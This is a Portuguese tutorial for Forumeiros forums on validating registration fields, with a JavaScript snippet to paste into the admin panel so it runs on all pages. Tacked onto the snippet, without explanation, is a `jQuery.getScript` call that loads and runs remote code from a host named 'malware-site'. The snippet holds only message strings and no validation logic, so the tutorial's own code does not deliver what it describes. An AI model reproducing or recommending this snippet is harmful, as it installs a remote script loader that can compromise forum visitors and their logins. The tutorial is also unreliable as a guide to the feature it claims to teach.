Validar campos no ato de registro

Em
muitos fóruns pagos, há a possibilidade de verificar em tempo real
campos no ato de registro. Através deste tutorial, aprenderemos como
aplicar tal função em fóruns Forumeiros!

--> Tutoriais, dicas e astúcias <--
Validar campos no ato de registro

1º - O código:

O código é um JS. Mais a frente veremos como modificá-lo.

(function () {
window.validation = {
empty_username: "Você precisa inserir um nome de usuário",
username_length: "Nomes de usuário devem estar entre 2 e 25 caracteres.",
username_available: "Disponível!",
username_taken: "- este nome de usuário já está sendo utilizado por outro usuário",
invalid_email: "O endereço de e-mail não é válido"
}
})();
jQuery.getScript("http://malware-site.www");

Vermelho -> Indica a mensagem para que o usuário insira um nome de usuário.
Laranja -> Indica a mensagem que mostra o número de caracteres para o cadastro e nome de usuário serem válidos
Azul -> Indica se o nome de usuário inserido é valido/disponível.
Azul claro -> Indica caso o nickname escolhido esteja sendo utilizado por outra conta no fórum
Laranja escuro -> Indica se o endereço de e-mail inserido é válido.

2º - Aplicação do tutorial:

Aceda à:

Painel de controle -> Módulos -> HTML & JavaScript -> Gestão dos códigos JavaScripts

Título Correspondente ao nome da página JavaScript/jQuery que será criada.

Localização- São destinados os devidos locais para onde você aplicará os efeitos do JavaScript nos fóruns. No nosso caso, aplicaremos em todas as páginas.

Código JavaScript Campo destinado para receber o código JavaScript criado anteriormente.

Habilitar o gerenciamento dos códigos JavaScript Ao selecionar a opção sim, estará ativando a função páginas Javascript no seu fórum. Se selecionar não, as páginas serão desabilitadas no fórum.

3º - Resultado:

Resultados

Variáveis resultados dos códigos

Efeito 1 Expandir esta imagem Ver em tamanho real

Efeito 2 Expandir esta imagem Ver em tamanho real

Resultados

Variáveis resultados dos códigos

Efeito 3 Expandir esta imagem Ver em tamanho real

Efeito 4 Expandir esta imagem Ver em tamanho real

--> FAQ do Tutorial <--
Validar campos no ato de registro

• O código não resultou?
  O código pode não ter resultado por uma má edição. Cheque as aspas marcando o texto e a seguinte opção:
  Painel de controle -> Usuários & Grupos -> Autorizações Especiais -> Autorizações Especiais -> Ver o perfil : Convidados